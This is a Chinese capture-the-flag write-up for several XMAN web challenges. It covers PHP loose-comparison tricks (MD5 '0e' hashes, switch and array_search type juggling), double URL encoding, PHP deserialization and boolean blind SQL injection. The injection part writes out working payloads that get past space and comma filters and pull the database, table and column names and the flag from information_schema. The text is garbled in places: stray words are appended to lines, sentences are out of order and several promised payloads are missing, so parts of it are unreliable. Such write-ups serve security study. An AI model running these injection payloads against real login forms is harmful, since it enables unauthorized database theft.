這道題一打開就是源碼,主要就是根據源碼構造url。其中,它接收的參數只有b,但源碼中要獲取flag的關鍵參數是a[0]。parse_str()函數的做用是把查詢字符串解析到變量中,因而咱們能夠經過將a[0]嵌入b的傳參中,而後由這個函數再將a[0]提取出來,解析出a[0]後,還須要知足其值是MD5加密後與MD5('QNKCDZO’)的值相等,但加密前的字符串不相等,由於QNKCDZO的MD5匹配很常見,在網上就能夠搜到,或者也本身寫個腳本暴破,之因此會存在這種狀況,是由於PHP的弱性質,字符串QNKCDZO經MD5加密後的密文是0e830400451993494058024219903391,而php在作hash比較時,會將0e\d+這類字符串解析成科學計數法,所以若兩個不一樣的字符串經MD5加密後的密文爲0e
最後構造以下payload:?b=a[0]=240610708php\d+類型
則比較相等,一樣的0e\d+類密文和0比較也是相等的。故
一開始的提示很明顯,首先嚐試get方式傳一個me的參數,頁面會返回下一條提示:json
因而更改傳參的值爲XMAN後,頁面返回great,查看源碼可得提示:數組
因而立馬想到的是url的二次加密,將XMAN作兩次url加密可得瀏覽器
之因此會想到二次加密是由於,urldecode()是url解密函數,字符串XMAN不可能作解密,那麼最大的可能就是將二次加密的參數傳到服務端,經服務端作了一次解密後,繞過檢測,獲取信息url信息XMAN,因而paylaod以下:服務器
從題目信息能夠知道這是一道php反序列化的題,一開始仍是跟着題目的提示作,隨便傳入一個參數code,獲得提示flag.php,因而訪問這個php頁面,獲得提示help.php,接着訪問help.php獲得最終的提示:函數
看這段代碼的意思是讀入filename文件的內容而後返回,filename的初始值是’error.log’,因而想到能夠改爲flag.php,試了下,最後是在./index.php頁面,將php反序列化的代碼做爲code的值上傳,最後的payload以下:學習
這道題一打開就是一片空白,很明顯是源碼泄露了,隨手一試就爆出源碼了:加密
這裏有點瀏覽器的兼容問題,firefox上顯示的源碼不全,可是chorm上能夠顯示完整的源碼:url
<?phpspa
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
$aaa = $_GET['aaa'];
$aaa=="1"?die("Emmm..."):NULL;
switch ($aaa)
{
case 0:
case 1:
$a=1;
break;
}
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
if(@$bbb["ccc"]){
($bbb["ccc"]>2017)?$b=1:NULL;
}
if(is_array(@$bbb["ddd"])){
if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emmm...");
$eee = array_search("XMAN", $bbb["ddd"]);
$eee===false?die("Emmm..."):NULL;
foreach($bbb["ddd"] as $key=>$val){
$val==="XMAN"?die("Emmm..."):NULL;
}
$c=1;
}
}
if($a && $b && $c){
include "flag.php";
echo $flag;
}?>
因而根據源碼的意思,須要上傳兩個參數aaa和bbb,最後拿到flag的條件是知足代碼中的一些規則,使得a,b,c三個變量都爲1。這道題主要考的是php的弱性質,其中,aaa的判斷用的是==,須要使aaa爲數字1,根據php將GET或者是POST的參數轉換爲int類型,或者是兩個變量不匹配的時候,會自動地進行變量轉換,能夠用aaa=1a傳參,且php的swicth有一個特色,當它是數字類型的case的判斷時,switch會將其中的參數轉換爲int類型,故$a=1這裏就實現了
而後是ccc的傳參,不能爲整數或整數型字符串,但其值要大於2017,和前面的道理同樣,傳2018a就能夠了,因而$b=1就達成了。最後是ddd的構造,bbb和ddd還有ddd[0]均要爲數組,這裏因爲json_decode(@$_GET['bbb']),bbb自動就是數組了
還要知足ddd的每個元素都不爲’XMAN’,且array_search("XMAN", $bbb["ddd"])函數返回的鍵名要爲’XMAN’,這看起來有點矛盾,但其實也是一個php的弱特性,php的array_search()函數和in_array()都存在一個問題,若是strict參數沒有提供,那麼這兩個函數就會使用鬆散比較來判斷第一個參數是否在第二個數組參數中。當strince的值爲true時,函數會比較兩個參數的類型是否相同,而用來比較的’XAMN’又會轉化成0,因而咱們能夠構造以下的payload:
這道題根據題目irc就知道,多半是要下載什麼客戶端,題目的提示也很明顯,一個不能打開的地址,還有「歡迎加入#XMAN」,因而,果斷去下了一個irc的客戶端,註冊後用/server 202.112.51.184:6667鏈接服務器,而後join到#XMAN,就看到flag了:
嘗試了下基本的注入,發現字符串注入可行
可是過濾了空格、加號和逗號,由於他的登陸結果都是有明確的結果回顯,因此首先想到了bool盲注,這裏的繞過仍是很常見的,用括號代替空格,屏蔽符號用#,逗號用for循環代替,因而以下初步的一個paylaod:
而後就是寫腳本跑flag,先爆庫名:
uaername=admin'and(select(length(database()))=4)#&password=admin&submit=
uaername=admin'and(ascii(mid(database()from(%d)for(1)))>0)#&password=admin&submit=
表名:
這裏過濾了逗號,limit 0,1能夠用limit 1 offset 0代替,可是很狗血的是空格也過濾了,limit 1 offset 0不能用limit(1)offset(0)代替,因而想到group_concat(),嗯,成功注出表名:
admin'and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema='xman'))from(%d)for(1)))=%d)#
字段名:
admin'and(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctf_flags'))from(%d)for(1)))=%d)#
Ctf_users的:
Ctf_flags的:
比賽方是個坑逼,flag在ctf_users表的gpass字段和ctf_flags表的ggflag字段裏都有:
admin'and(ascii(mid((select(group_concat(ggflag))from(ctf_flags))from(%d)for(1)))=%d)#
ctf_users的flag:
ctf_flags裏的經Base64解密後是:
然而這是個錯的。。通常誰會去注意看,按照他的提示在ctf_users裏找到正確的flag
ctf_users裏的解密後是:
------------------------------------------------------------------------------------------------------------------------
看了官方的wp,不想說話,很迷啊這道題
官方的說法是這道題是不用寫腳本的,也不是什麼bool盲注(我選擇狗帶),就是讓大家花式繞過濾簡單的注一下,而後莫名其妙的在登陸成功後訪問一下index.php(黑人問號.jpg),關於index.php一點提示也沒有,一點邏輯也沒有,可是flag就出來了【攤手】,如圖:
好吧,這種神邏輯暫且不說,可是wp仍是有值得學習的地方,好比,用%0a或%0b代替空格,用join代替逗號,雙引號能夠轉換成16進制,join這種方法第一次見,嗯,學習了
未完待續...